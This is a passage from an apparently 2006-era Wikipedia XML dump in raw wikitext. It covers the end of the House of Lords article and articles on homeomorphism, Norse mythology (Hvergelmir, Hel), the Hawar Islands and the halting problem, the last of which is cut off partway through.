| align=&quot;center&quot;|[[Labour Party (UK)|Labour Party]]
| align=&quot;center&quot;|204
| align=&quot;center&quot;|2
| align=&quot;center&quot;|2
| align=&quot;center&quot;|0
| align=&quot;center&quot;|0
| align=&quot;center&quot;|'''208'''
|-
|{{British politics/party colours/Conservative}}|&amp;nbsp;
| align=&quot;center&quot;|[[Conservative Party (UK)|Conservative Party]]
| align=&quot;center&quot;|156
| align=&quot;center&quot;|40
| align=&quot;center&quot;|9
| align=&quot;center&quot;|0
| align=&quot;center&quot;|0
| align=&quot;center&quot;|'''205'''
|-
|{{British politics/party colours/Liberal Democrat}}|&amp;nbsp;
| align=&quot;center&quot;|[[Liberal Democrats (UK)|Liberal Democrats]]
| align=&quot;center&quot;|69
| align=&quot;center&quot;|3
| align=&quot;center&quot;|2
| align=&quot;center&quot;|0
| align=&quot;center&quot;|0
| align=&quot;center&quot;|'''74'''
|-
| bgcolor=&quot;#999999&quot;|&amp;nbsp;
| align=&quot;center&quot;|[[Cross-bencher|Cross-benchers]]
| align=&quot;center&quot;|161
| align=&quot;center&quot;|28
| align=&quot;center&quot;|2
| align=&quot;center&quot;|2
| align=&quot;center&quot;|0
| align=&quot;center&quot;|'''193'''
|-
| bgcolor=&quot;#999999&quot;|&amp;nbsp;
| align=&quot;center&quot;|Other party/&lt;br&gt;Non-affiliated
| align=&quot;center&quot;|9
| align=&quot;center&quot;|2
| align=&quot;center&quot;|0
| align=&quot;center&quot;|0
| align=&quot;center&quot;|0
| align=&quot;center&quot;|'''11'''
|-
| bgcolor=&quot;#000000&quot;|&amp;nbsp;
| align=&quot;center&quot;|Lords Spiritual
| align=&quot;center&quot;|0
| align=&quot;center&quot;|0
| align=&quot;center&quot;|0
| align=&quot;center&quot;|0
| align=&quot;center&quot;|26
| align=&quot;center&quot;|'''26'''
|-
| align=&quot;center&quot; colspan=&quot;2&quot;|'''Total'''
| align=&quot;center&quot;|'''599'''
| align=&quot;center&quot;|'''75'''
| align=&quot;center&quot;|'''15'''
| align=&quot;center&quot;|'''2'''
| align=&quot;center&quot;|'''26'''
| align=&quot;center&quot;|'''717'''
|}
''Note: These figures exclude eight peers who are on leave of absence.''

&amp;dagger;The number of hereditary peers &quot;allocated&quot; to each party, which is based on the proportion of hereditary peers that belongs to that party, is:
*Conservative Party: 42 peers
*Labour Party: 2 peers
*Liberal Democrats: 3 peers
*Cross-benchers: 28 peers

Of the initial 42 hereditary peers elected as Conservatives, one ([[Ivan Moore-Brabazon, 3rd Baron Brabazon of Tara|The Lord Brabazon of Tara]]) now sits as a Cross-bencher, having become the House of Lords' ''Chairman of Committees'', and another ([[Leopold Verney, 21st Baron Willoughby de Broke|The Lord Willoughby de Broke]]) now sits as a non-affiliated member.

==See also==
*[[Speakership of the House of Lords]]
*[[Introduction (House of Lords)|Introduction ceremony]]
*[[Members of the House of Lords]]
*[[UK topics]]
*[[Lords Reform]]

==References==
*Carmichael, Paul, Brice Dickson, and Guy Peters. (1999). ''The House of Lords: Its Parliamentary and Judicial Role.'' Oxford: Hart Publishing.
*[http://www.parliament.the-stationery-office.co.uk/pa/ld/ldcomp/compso.htm Davies, Michael. (2003). ''Companion to the Standing Orders and guide to the Proceedings of the House of Lords'', 19th ed. London: HMSO.]
*Farnborough, T. E. May, 1st Baron. (1896). ''Constitutional History of England since the Accession of George the Third'', 11th ed. London: Longmans, Green and Co.
*[http://www.geocities.com/andynick_98/Lordsessaywn.doc Dakoutros, A N 2003 The future of the House of Lords * A paper discussing possibilities for House of Lords Reform (Word document)]

*Longford, Frank Pakenham, 7th Earl of. (1999). ''A History of the House of Lords.'' New edition. Gloucestershire: Sutton Publishing.
*&quot;Parliament&quot; (1911). ''Encyclopædia Britannica'', 11th ed. London: Cambridge University Press.   
*Raphael, D. D., Donald Limon, and W. R. McKay. (2004). ''Erskine May: Parliamentary Practice'', 23rd ed. London: Butterworths Tolley.

==External links==
*[http://news.bbc.co.uk/1/hi/uk_politics/a-z_of_parliament/ The British Broadcasting Corporation. (2005). &quot;A&amp;ndash;Z of Parliament.&quot;]
*[http://politics.guardian.co.uk/lords/ ''The Guardian.'' (2005). &quot;Special Report: House of Lords.&quot;]
*[http://www.parliament.uk/ The Parliament of the United Kingdom. Official website.]
*[http://www.parliamentlive.tv/ The Parliament of the United Kingdom. Parliament Live TV.]

[[Category:Parliament of the United Kingdom]]
[[Category:National upper houses]]
[[Category:Government of the United Kingdom]]


[[cs:Sněmovna lordů]]
[[de:House of Lords]]
[[es:Cámara de los Lores]]
[[fr:Chambre des Lords]]
[[nl:Hogerhuis (politiek)]]
[[ja:貴族院 (イギリス)]]
[[pl:Izba Lordów]]
[[ru:Палата лордов]]
[[vi:Thượng Nghị viện Vương quốc Anh]]
[[zh:英國上議院]]
{{featured article}}</text>
    </revision>
  </page>
  <page>
    <title>Homeomorphism</title>
    <id>13660</id>
    <revision>
      <id>37539424</id>
      <timestamp>2006-01-31T17:31:50Z</timestamp>
      <contributor>
        <username>Juan Marquez</username>
        <id>217360</id>
      </contributor>
      <comment>+related</comment>
      <text xml:space="preserve">:''This word should not be confused with [[homomorphism]].''

In the [[mathematics|mathematical]] field of [[topology]] a '''homeomorphism''' or '''topological isomorphism''' (from the [[Greek language|Greek]] words ''homeos'' = identical and ''morphe'' = shape) is a special [[isomorphism]] between [[topological spaces]] which respects [[topological property|topological properties]]. Two spaces with a homeomorphism between them are called '''homeomorphic'''. From a topological viewpoint they are the same. 

Roughly speaking, a topological space is a [[geometric]] object and the homeomorphism is a continuous stretching and bending of the object into a new shape. Thus, a square and a [[circle]] are homeomorphic. The traditional joke is that the topologist can't tell the coffee cup she is drinking from the donut she is eating, since a sufficiently pliable donut could be reshaped to the form of a coffee cup by creating a dimple and progressively enlarging it, while shrinking the hole into a handle.

Intuitively, a homeomorphism maps points in the first object that are &quot;close together&quot; to points in the second object that are close together, and points in the first object that are not close together to points in the second object that are not close together. Topology is the study of those properties of objects that do not change when homeomorphisms are applied.

== Definition ==

A [[function_(mathematics)|function]] ''f'' between two [[topological spaces]] ''X'' and ''Y'' is called a '''homeomorphism''' if it has the following properties

* ''f'' is a [[bijection]],
* ''f'' is [[Continuity (topology)|continuous]],
* the [[inverse function]] ''f''&lt;sup&gt; &amp;minus;1&lt;/sup&gt; is continuous.

If such a function exists we say ''X'' and ''Y'' are '''homeomorphic'''. The homeomorphisms form an [[equivalence relation]] on the [[class (set theory)|class]] of all topological spaces. The resulting [[equivalence class|equivalence classes]] are called '''homeomorphism classes'''.

== Examples ==

* The unit 2-[[ball (mathematics)|disc]] D&lt;sup&gt;2&lt;/sup&gt; and the [[unit square]] in '''R'''&lt;sup&gt;2&lt;/sup&gt; are homeomorphic. 

* The open [[interval (mathematics)|interval]] (-1, 1) is homeomorphic to the [[real number]]s '''R'''. 

* The [[product topology|product space]] S&lt;sup&gt;1&lt;/sup&gt; &amp;times; S&lt;sup&gt;1&lt;/sup&gt; and the two-[[dimension]]al [[torus]] are homeomorphic.

* Every [[uniform isomorphism]] and [[isometric isomorphism]] is a homeomorphism.

* Any [[sphere]] with a single point removed is homeomorphic to the set of all points in '''R'''&lt;sup&gt;2&lt;/sup&gt; (a 2-dimensional [[plane (mathematics)|plane]]).

== Notes ==

The third requirement, that ''f''&lt;sup&gt; &amp;minus;1&lt;/sup&gt; be continuous, is essential. Consider for instance the function ''f'' : &lt;nowiki&gt;[0, 2&amp;pi;)&lt;/nowiki&gt; &amp;rarr; S&lt;sup&gt;1&lt;/sup&gt; defined by ''f''(&amp;phi;) = (cos(&amp;phi;), sin(&amp;phi;)). This function is bijective and continuous, but not a homeomorphism.

Homeomorphisms are the [[isomorphism]]s in the [[category of topological spaces]]. As such, the composition of two homeomorphisms is again a homeomorphism, and the set of all self-homeomorphisms ''X'' &amp;rarr; ''X'' forms a [[group (mathematics)|group]], called the '''homeomorphism group''' of ''X'', often denoted Homeo(''X'').

For some purposes, the homeomorphism group happens to be too big, but 
by means of the [[isotopy]] relation, one can reduce this group to the 
[[mapping class group]].

== Properties ==

* two homeomorphic spaces share the same [[topological properties]].  For example, if one of them is [[compact space|compact]], then the other is as well; if one of them is [[connectedness|connected]], then the other is as well; if one of them is [[Hausdorff space|Hausdorff]], then the other is as well; their [[homology group]]s will coincide. Note however that this does not extend to properties defined via a [[metric space|metric]]; there are metric spaces which are homeomorphic even though one of them is [[completeness (topology)|complete]] and the other is not.

* a homeomorphism is an [[open mapping]] and a [[closed mapping]], that is it maps [[open set]]s to open sets and [[closed set]]s to closed sets.

* Every self-homeomorphism in &lt;math&gt;S^1&lt;/math&gt; can be extended to a self-homeomorphism of the whole disk &lt;math&gt;D^2&lt;/math&gt; ([[Alexander's Trick]]).

== Informal discussion ==

The intuitive criterion of stretching, bending, cutting and gluing back together takes a certain amount of practice to apply correctly &amp;mdash; it may not be obvious from the description above that deforming a [[line segment]] to a point is impermissible, for instance.  It is thus important to realize that it is the formal definition given above that counts.

This characterization of a homeomorphism often leads to confusion with the concept of [[homotopy]], which is actually ''defined'' as a continuous deformation, but from one ''function'' to another, rather than one space to another.  In the case of a homeomorphism, envisioning a continuous deformation is a mental tool for keeping track of which points on space ''X'' correspond to which points on ''Y'' &amp;mdash; one just follows them as ''X'' deforms.  In the case of homotopy, the continuous deformation from one map to the other is of the essence, and it is also less restrictive, since none of the maps involved need to be one-to-one or onto.  Homotopy does lead to a relation on spaces: [[homotopy equivalence]].

There is a name for the kind of deformation involved in visualizing a homeomorphism.  It is (except when cutting and regluing are required) an [[homotopy|isotopy]] between the [[identity map]] on ''X'' and the homeomorphism from ''X'' to ''Y''.

== See also ==

* [[local homeomorphism]]
* [[homotopy]]
* [[topological property]]
* [[diffeomorphism]]
* [[uniform isomorphism]] is an isomorphism between [[uniform spaces]]
* [[isometric isomorphism]] is an isomorphism between [[metric spaces]]
* [[Dehn twist]]
* [[homeomorphism (graph theory)]] (closely related to graph graph subdivision)
* [[isotopy]]
* [[mapping class group]]

[[Category:General topology]]
[[Category:Topology]]

[[cs:Homeomorfismus]]
[[da:Homeomorfi]]
[[de:Homöomorphismus]]
[[es:Homeomorfismo]]
[[fr:Homéomorphisme]]
[[it:Omeomorfismo]]
[[he:הומיאומורפיזם]]
[[nl:Homeomorfisme]]
[[ja:位相同型]]
[[pl:Homeomorfizm]]
[[sl:Homeomorfizem]]
[[zh:同胚]]</text>
    </revision>
  </page>
  <page>
    <title>Hvergelmir</title>
    <id>13661</id>
    <revision>
      <id>37570337</id>
      <timestamp>2006-01-31T21:06:09Z</timestamp>
      <contributor>
        <username>Haukurth</username>
        <id>16226</id>
      </contributor>
      <comment>Removed statement I wasn't familiar with, sounded Rydbergish.</comment>
      <text xml:space="preserve">'''Hvergelmir''' is the wellspring of cold in [[Niflheim]] in [[Norse Mythology|Norse mythology]]. All cold rivers are said to come from here, and it was said to be the source of the eleven rivers, [[Élivágar]]. The name means approximately &quot;The seething cauldron&quot;. Above the spring, the serpent [[Níðhöggr]] gnaws on one of the roots of the world ash, [[Yggdrasil]].

{{norse-myth-stub}}

{{NorseMythology}}

[[Category:Locations in Norse mythology]]

[[da:Hvergelmer]]
[[de:Hvergelmir]]
[[nl:Hvergelmir]]
[[pl:Hvergelmir]]</text>
    </revision>
  </page>
  <page>
    <title>Halifax explosion</title>
    <id>13662</id>
    <revision>
      <id>15911257</id>
      <timestamp>2003-06-30T13:54:47Z</timestamp>
      <contributor>
        <username>SimonP</username>
        <id>1591</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Halifax Explosion]]</text>
    </revision>
  </page>
  <page>
    <title>Housdorff maximality theorem</title>
    <id>13664</id>
    <revision>
      <id>15911259</id>
      <timestamp>2002-04-16T22:41:30Z</timestamp>
      <contributor>
        <username>Toby</username>
        <id>1077</id>
      </contributor>
      <minor />
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Hausdorff maximality theorem]]
</text>
    </revision>
  </page>
  <page>
    <title>Hausdorff maximality theorem</title>
    <id>13665</id>
    <revision>
      <id>22227087</id>
      <timestamp>2005-08-31T04:36:10Z</timestamp>
      <contributor>
        <username>Paul August</username>
        <id>87355</id>
      </contributor>
      <comment>add &quot;Hausdorff maximal principle&quot;</comment>
      <text xml:space="preserve">The '''Hausdorff maximality theorem''', (also called the '''Hausdorff maximal principle''') formulated and proved by [[Felix Hausdorff]] in [[1914]], is an alternate formulation of [[Zorns lemma|Zorn's lemma]] and therefore also equivalent to the [[axiom of choice]].  It states that in any [[partial order|partially ordered set]], every [[total order|totally ordered]] [[subset]] is contained in a maximal totally ordered subset (i.e. in a totally ordered subset which, if enlarged in any way, does not remain totally ordered).

In general, there are many maximal totally ordered subsets containing a given totally ordered subset.
[[Category:Set theory]]</text>
    </revision>
  </page>
  <page>
    <title>Hel (being)</title>
    <id>13666</id>
    <revision>
      <id>37662922</id>
      <timestamp>2006-02-01T11:47:19Z</timestamp>
      <contributor>
        <username>Haukurth</username>
        <id>16226</id>
      </contributor>
      <minor />
      <comment>/* Theories */ Typo</comment>
      <text xml:space="preserve">In [[Norse mythology]], '''Hel''' (sometimes Anglicized or Latinized as '''Hela''') is the queen of [[Hel (realm)|Hel]], the Norse [[underworld]]. 

In the [[Gylfaginning]], she is described as the daughter of [[Loki]] and [[Angrboða]] – a [[giantess]] (''gýgr'', see [[jotun]]) – and thus sister of the [[Fenrisulfr]] and the sea serpent [[Jörmungandr]]. Since her father is often described as a god, although both his parents were giants, the same might be said of Hel.

When [[Odin]] became aware of the existence of Loki's children, he banished them to remote places. Hel he cast down to her realm in the underworld and gave her authority over all those in the [[nine worlds]] who do not die gloriously in battle but of sickness or of old age. Her possessions are being described thus:

{| cellpadding=&quot;5&quot;
|
''Hon á þar mikla bólstaði ok eru garðar hennar forkunnar hávir ok grindr stórar. ''Éljúðnir'' heitir salr hennar, ''Hungr'' diskr hennar, ''Sultr'' knífr hennar, ''Ganglati'' þrællinn, ''Ganglöt'' ambátt, ''Fallandaforað'' þresköldr hennar er inn gengr, ''Kör'' sæing, ''Blíkjandaböl'' ársali hennar. Hon er blá hálf en hálf með hörundarlit, því er hon auðkend ok heldr gnúpleit ok grimmlig.''
&lt;br&gt; [http://www.hi.is/~eybjorn/gg/gg4par33.html]
|
She has great possessions there; her walls are exceeding high and her gates great. Her hall is called ''Sleet-Cold''; her dish, ''Hunger''; ''Famine'' is her knife; ''Idler'', her thrall; ''Sloven'', her maidservant; ''Pit of Stumbling'', her threshold, by which one enters; ''Disease'', her bed; ''Gleaming Bale'', her bed-hangings. She is half blue-black and half flesh-color (by which she is easily recognized), and very lowering and fierce. &lt;br&gt; &lt;div align=&quot;right&quot;&gt;—''Brodeur translation''&lt;/div&gt;
|}

Later in the same source is described how [[Hermod|Hermóðr]] tries to retrieve the dead [[Baldr]]'s soul from Hel. 

{| cellpadding=&quot;5&quot;
|
''En þat er at segja frá ''Hermóði'' at hann reið níu nætr døkkva dala ok djúpa svá at hann sá ekki fyrr en hann kom til ''árinnar Gjallar'' ok reið á ''Gjallarbrúna''. Hon er þökt lýsigulli. ''Móðguðr'' er nefnd mær sú er gætir brúarinnar.''
&lt;br&gt; [http://www.hi.is/~eybjorn/gg/gg4par49.html]
|
Now this is to be told concerning ''Hermóðr'', that he rode nine nights through dark dales and deep, so that he saw not before he was come to the ''river Gjöll'' (or ''Gjallar-river'') and rode onto the ''Gjöll-Bridge'' (or ''Gjallar-bridge''); which bridge is thatched with glittering gold. ''Móðguðr'' is the maiden called who guards the bridge.
|}

The path to Hel is known as the ''Helveg'' and their gates ''Helgrindr''. Here [[Garm]] is fastened, Hel's watchdog, who is bloody both on chest and neck.

[[Heimskringla]] relates that she procured herself a spouse by having the Swedish king [[Dyggve]] die a natural death.

Her name is the source of the [[English (language)|English]] word ''[[hell]]''.

==Theories==

It has been suggested that this description of Hel is of later date, and that she originally was a much more neutral goddess over the realm of shadows, where all, both good and evil, courageous and cowardly, gather after death. This is attested by the etymology of ''Hel'' ([[Latin|Lat]]. ''Celāre'', [[German language|Ger]]. ''hehlen''), meaning the &quot;hider,&quot; a word used generally to denote death and the afterlife. It is important to note that also the noble [[Baldr]] and the brave [[Sigurd]] are sent to Hel after their death. Bishop [[Wulfila]] uses the [[Gothic language|Gothic]] word ''Halja'' to translate the Greek &quot;[[Hades]].&quot;

[[Viktor Rydberg]], in particular, advocated this view. In the book &quot;Our Fathers' Godsaga&quot; he theorizes that the correct name for Loki's daughter is in fact &quot;Leikn&quot; and that, in Christian times, she was confused with [[Urd (Norse Mythology)|Urd]], one of the three [[Norns]] and the [[dísir|dís]] of fate death, whose byname was Hel. Rydberg's theories are not generally accepted.

==See also==
*[[The Devil]] in [[Christian mythology]]
*[[Hades]] in [[Greek mythology]]
*[[Osiris]] in [[Egyptian mythology]]
*[[Pluto (god)|Pluto]] in [[Roman mythology]]&lt;br&gt;&lt;br&gt;
{{NorseMythology}}
{{Ugglan}}

[[Category:Norse mythology]]
[[Category:Death goddesses]]
[[Category:Norse goddesses]]

[[da:Hel (dødsrige)]]
[[de:Hel (Mythologie)]]
[[gl:Hela]]
[[it:Hel]]
[[nl:Hel (godin)]]
[[ja:ヘル]]
[[lt:Helė]]
[[nb:Hel]]
[[nn:Hel]]
[[pl:Hel (bogini)]]
[[pt:Hela]]
[[fi:Hel]]
[[ru:Хель]]
[[sv:Hel]]
[[uk:Хель]]</text>
    </revision>
  </page>
  <page>
    <title>Hawar Islands</title>
    <id>13667</id>
    <revision>
      <id>39375019</id>
      <timestamp>2006-02-12T19:24:24Z</timestamp>
      <contributor>
        <username>Jabeen</username>
        <id>914333</id>
      </contributor>
      <text xml:space="preserve">[[Image:Bahrain-Juzur Hawar.png|right|Hawar Islands shown in red]]

The '''Hawar Islands''' ([[Arabic language|Arabic]]: جزر حوار; [[Arabic transliteration|transliterated]]: Juzur Howar) are a group of [[island]]s situated off the west coast of [[Qatar]] in the [[Gulf of Bahrain]] of the [[Persian Gulf]].

[[Image:FlagofHawarIslands.png|thumb|Separatist flag]]

Despite their proximity to Qatar, the islands belong to [[Bahrain]] but were the subject of a dispute between Bahrain and Qatar (see [[Foreign relations of Qatar]]).  A Hawari [[separatism|separatist]] movement exists in [[Europe]] but there is little evidence of support for their movement in the Hawar Islands.  The islands were formerly part of the [[Juzur Hawar]] municipality and are now administered as part of the [[Southern Governorate]] of Bahrain.

In 2002, Bahrain applied to have the Hawar islands recognised as a [[World Heritage Site]], due to its unique environment and habitat for endangered species.

==External links==
*[http://www.hawar-islands.com/Hawar_application.htm WHS application]
*[http://www.icj-cij.org/icjwww/idocket/iqb/iqbframe.htm International Court of Justice decision on the Hawar dispute (2001)]

{{MEast-geo-stub}}

[[Category:Disputed territories]]
[[Category:Foreign relations of Bahrain|Hawar Islands]]
[[Category:Geography of Bahrain]]</text>
    </revision>
  </page>
  <page>
    <title>Halting problem</title>
    <id>13668</id>
    <revision>
      <id>41833625</id>
      <timestamp>2006-03-02T01:13:03Z</timestamp>
      <contributor>
        <username>R.e.s.</username>
        <id>310282</id>
      </contributor>
      <comment>rv edit by 84.94.122.20 to preceding version by 201.243.154.195</comment>
      <text xml:space="preserve">In [[Computability theory (computation) | computability theory]] the '''halting problem''' is a [[decision problem]] which can be informally stated as follows:

: ''Given a description of a [[computer program|program]] and its initial input, determine whether the program, when executed on this input, ever halts (completes). The alternative is that it runs forever without halting.''

[[Alan Turing]] proved in [[1936]] that a general [[algorithm]] to solve the halting problem for all possible inputs cannot exist. We say that the halting problem is ''[[undecidability|undecidable]]'' over [[Turing machine]]s. ([http://en.wikipedia.org/wiki/Halting_problem#Footnotes] with respect to attribution of &quot;halting problem&quot; to Turing.) 

==Formal statement==
One possible way of formally stating the halting problem is as follows: 

Given a [[Gödel numbering]] &lt;math&gt;\varphi&lt;/math&gt; of the [[computable function]]s,

with &lt;math&gt;\langle i, x \rangle&lt;/math&gt; the [[Cantor pairing function]], 

the set &lt;math&gt;K_{\varphi}^{0} := \{ \langle i, x \rangle | \varphi_i(x) \ \mathrm{exists} \}&lt;/math&gt;
is called the '''halting set'''.

The problem of deciding whether the halting set is recursive or not is called the '''halting problem'''. As the set is [[recursively enumerable]] the halting problem is not solvable by a computable function.

Alternative equivalent formulations, for instance explicitly using Turing machines, are possible.

==Importance and consequences==
The historical importance of the halting problem lies in the fact that it was one of the first problems to be proved [[undecidable]]. (Turing's proof went to press in May 1936, whereas [[Alonzo Church|Church's]] proof of the undecidability of a problem in the [[lambda calculus]] had already been published in April 1936.) Subsequently, many other such problems have been described; the typical method of proving a problem to be undecidable is with the technique of ''[[reduction (complexity)|reduction]]''.  To do this, the computer scientist shows that if a solution to the new problem was found, it could be used to decide an undecidable problem (by transforming instances of the undecidable problem into instances of the new problem).  Since we already know that ''no'' method can decide the old problem, no method can decide the new problem either.

One such consequence of the halting problem's undecidability is that there cannot be a general algorithm that decides whether a given statement about [[natural number]]s is true or not. The reason for this is that the [[proposition]] that states that a certain algorithm will halt given a certain input can be converted into an equivalent statement about natural numbers. If we had an algorithm that could solve any statement about natural numbers, it could certainly solve this one; but that would determine whether the original program halts, which is impossible, since the halting problem is undecidable.

Yet another, quite amazing, consequence of the undecidability of the halting problem is [[Rice's theorem]] which states that the truth of ''any'' non-trivial statement about the function that is defined by an algorithm is undecidable. So, for example, the decision problem &quot;will this algorithm halt for the input 0&quot; is already undecidable. Note that this theorem holds for the ''function defined by the algorithm'' and not the algorithm itself. It is, for example, quite possible to decide if an algorithm will halt within 100 steps, but this is not a statement about the function that is defined by the algorithm.

[[Gregory Chaitin]] has given an undecidable problem in [[algorithmic information theory]] which does not depend on the halting problem. Chaitin also gave the intriguing definition of the [[halting probability]] which represents the [[probability]] that a randomly produced program halts.

While Turing's proof shows that there can be no general method or algorithm to determine whether algorithms halt, individual instances of that problem may very well be susceptible to attack. Given a specific algorithm, one can often show that it must halt for any input, and in fact [[computer scientist]]s often do just that as part of a [[correctness proof]]. But every such proof requires new arguments: there is no ''mechanical, general way'' to determine whether algorithms on a Turing machine halt. However, there are some [[Heuristic (computer science)|heuristics]] that can be used in an automated fashion to attempt to construct a proof, which succeed frequently on typical programs. This field of research is known as automated [[termination analysis]].  

There is another caveat. The undecidability of the halting problem relies on the fact that algorithms are assumed to have potentially infinite storage: at any one time they can only store finitely many things, but they can always store more and they never run out of memory. However, computers that actually exist are not equivalent to a Turing machine but instead to a [[linear bounded automaton]], as their memory and external storage of a machine is limited. In this case, the halting problem for programs running on that machine can be solved with a very simple general algorithm (albeit one that is so inefficient that it could never be useful in practice). It involves running the program and trying to find a cycle over the states of the machine's memory.

Turing's introduction of the machine model that has become known as the Turing machine, introduced in the paper, has proved a convenient model for much [[theoretical computer science]] since.

==Sketch of proof==
The proof proceeds by [[reductio ad absurdum]]. Start by choosing a programming language, a scheme that associates every program with at least one string description. Now suppose that someone claims to have found an algorithm &lt;code&gt;halt(a, i)&lt;/code&gt; that returns &lt;code&gt;'''true'''&lt;/code&gt; if ''a'' describes a program that halts when given as input the string ''i'', and returns &lt;code&gt;'''false'''&lt;/code&gt; otherwise. Construct another program &lt;code&gt;trouble&lt;/code&gt; that uses &lt;code&gt;halt&lt;/code&gt; as a subroutine:

  '''function''' trouble(''string'' s)
      '''if''' halt(s, s)&amp;nbsp;==&amp;nbsp;'''false'''
          '''return true'''
      '''else'''
          loop forever

This program takes a string ''s'' as its argument and runs the algorithm &lt;code&gt;halt&lt;/code&gt;, giving it ''s'' both as the description of the program to check and as the initial data to feed to that program.  If &lt;code&gt;halt&lt;/code&gt; returns &lt;code&gt;'''false'''&lt;/code&gt;, then &lt;code&gt;trouble&lt;/code&gt; returns '''true''', otherwise &lt;code&gt;trouble&lt;/code&gt; goes into an infinite loop. Since all programs can be represented by strings, there is a string ''t'' that represents the program &lt;code&gt;trouble&lt;/code&gt;. Does &lt;code&gt;trouble(t)&lt;/code&gt; halt?

Consider both cases:
# If &lt;code&gt;trouble(t)&lt;/code&gt; halts, it must be because &lt;code&gt;halt(t, t)&lt;/code&gt; returned &lt;code&gt;'''false'''&lt;/code&gt;, but that would mean that &lt;code&gt;trouble(t)&lt;/code&gt; should not have halted.
# If &lt;code&gt;trouble(t)&lt;/code&gt; runs forever, it is either because &lt;code&gt;halt&lt;/code&gt; itself runs forever, or because it returned &lt;code&gt;'''true'''&lt;/code&gt;. This would mean either that &lt;code&gt;halt&lt;/code&gt; does not work for every valid input, or that &lt;code&gt;trouble(t)&lt;/code&gt; should have halted.

Either case concludes that &lt;code&gt;halt&lt;/code&gt; did not give a correct answer, contrary to the original claim. Since the same reasoning applies to ''any'' program that someone might offer as a solution to the halting problem, there can be no solution.

This classic proof is typically referred to as the '''diagonalization proof''', so called because if one imagines a grid containing all the values of &lt;code&gt;halt(a, i)&lt;/code&gt;, with every possible ''a'' value given its own row, and every possible ''i'' value given its own column, then the values of &lt;code&gt;halt(s, s)&lt;/code&gt; are arranged along the main diagonal of this grid.  The proof can be framed in the form of the question: what row of the grid corresponds to the string ''t''?  The answer is that the &lt;code&gt;trouble&lt;/code&gt; function is devised such that &lt;code&gt;halt(t, i)&lt;/code&gt; differs from every row in the grid in at least one position: namely, the main diagonal, where ''t''=''i''.  This contradicts the requirement that the grid contains a row for every possible ''a'' value, and therefore constitutes a [[reductio ad absurdum|proof by contradiction]] that the halting problem is undecidable.

==Common pitfalls==
Many students, upon analyzing the above proof, ask whether there might be an algorithm that can return a third option for some programs, such as &quot;undecidable&quot; or &quot;would lead to a contradiction.&quot; This reflects a misunderstanding of decidability. It is easy to construct one algorithm that always answers &quot;halts&quot; and another that always answers &quot;doesn't halt.&quot; For any ''specific'' program and input, one of these two algorithms answers correctly, even though nobody may know which one. The difficulty of the halting problem lies not in particular programs, but in the requirement that a solution must work for all programs.

It is worth noting that the halting problem is decidable for deterministic machines with finite memory.  A machine with finite memory has a finite number of states, and thus any deterministic program on it must eventually either halt or repeat a previous state.  Repetition of a previous state indicates a loop, so a program that repeats a previous state is thus known to not halt.

==Formalization of the halting problem==
In his original proof Turing formalized the concept of ''algorithm'' by introducing [[Turing machine]]s.  However, the result is in no way specific to them; it applies equally to any other model of [[computation]] that is equivalent in its computational power to Turing machines, such as [[Markov algorithm]]s, [[Lambda calculus]], [[Post system]]s or [[register machine]]s.

What is important is that the formalization allows a straightforward [[mapping]] of algorithms to some [[data type]] that the [[algorithm]] can operate upon.  For example, if the [[formalism]] lets algorithms define functions over strings (such as Turing machines) then there should be a mapping of these algorithms to strings, and if the formalism lets algorithms define functions over natural numbers (such as [[recursive function]]s) then there should be a mapping of algorithms to natural numbers. The mapping to strings is usually the most straightforward, but strings over an [[alphabet]] with ''n'' [[character (computing)|characters]] can also be mapped to numbers by interpreting them as numbers in an ''n''-ary [[numeral system]].

==Relationship with Gödel's incompleteness theorem==
The [[concept]]s raised by [[Gödel's incompleteness theorem]]s are very similar to those raised by the halting problem, and the proofs are quite similar.  In fact, a weaker form of the First Incompleteness Theorem is an easy consequence of the undecidability of the halting problem. This weaker form differs from the standard statement of the incompleteness theorem by asserting that a complete, consistent and ''sound'' [[axiomatization]] of all statements about natural numbers is unachievable. The &quot;sound&quot; part is the weakening: it means that we require the axiomatic system in question to prove only ''true'' statements about natural numbers (it's very important to observe that the statement of the standard form of Gödel's First Incompleteness Theorem is completely unconcerned with the question of truth, but only concerns the issue of whether it can be [[mathematical proof|proven]]).

The weaker form of the theorem can be proved from the undecidability of the halting problem as follows. Assume that we have a consistent and complete [[axiomatization]] of all true [[first-order logic]] statements about [[natural number]]s. Then we can build an algorithm that enumerates all these statements. This means that there is an algorithm ''N''(''n'') that, given a natural number ''n'', computes a true first-order logic statement about natural numbers such that, for all the true statements, there is at least one ''n'' such that ''N''(''n'') yields that statement. Now suppose we want to decide if the algorithm with representation ''a'' halts on input ''i''.  We know that this statement can be expressed with a first-order logic statement, say ''H''(''a'', ''i'').  Since the axiomatization is complete it follows that either there is an ''n'' such that ''N''(''n'') =  ''H''(''a'', ''i'') or there is an ''n&amp;#39;'' such that ''N''(''n&amp;#39;'') = ¬ ''H''(''a'', ''i'').  So if we [[iterate]] over all ''n'' until we either find ''H''(''a'', ''i'') or its negation, we will always halt. This means that this gives us an algorithm to decide the halting problem. Since we know that there cannot be such an algorithm, it follows that the assumption that there is a consistent and complete axiomatization of all true first-order logic statements about natural numbers must be false.

==Can humans solve the halting problem?==
It might seem like [[human]]s could solve the halting problem. After all, a [[programmer]] can often look at a [[computer program|program]] and tell whether it will halt. It is useful to understand why this cannot be true. For [[simplicity]], we will consider the halting problem for programs with no [[input]], which is also undecidable.

To &quot;solve&quot; the halting problem means to be able to look at ''any'' program and tell whether it halts. It is not enough to be able to look at ''some'' programs and decide. Humans may also not be able to solve the halting problem, due to the sheer size of the input (a program with millions of lines of code). Even for short programs, it isn't clear that humans can always tell whether they halt.  For example,  we might ask if this pseudocode function, which corresponds to a particular Turing machine, ever halts:

  '''function''' searchForOddPerfectNumber()
      '''var''' ''int'' n:=1     ''// arbitrary-precision integer''
      '''loop''' {
          '''var''' ''int'' sumOfFactors := 0
          '''for''' factor '''from''' 1 '''to''' n-1
              '''if''' factor is a factor of n
                  sumOfFactors := sumOfFactors + factor
          if sumOfFactors = n then
              '''exit loop'''
          n := n + 2
      }
      '''return'''

This program searches until it finds an odd [[perfect number]], then halts. It halts if and only if such a [[number]] exists, which is a major open question in [[mathematics]]. So, after centuries of work, [[mathematician]]s have yet to discover whether a simple, ten-line program halts. This makes it difficult to see how humans could solve the halting problem.

More generally, it's usually easy to see how to write a simple brute-force search program that looks for counterexamples to any particular conjecture in number theory; if the program finds  a counterexample, it stops and prints out the counterexample, and otherwise it keeps searching forever.  For example, 
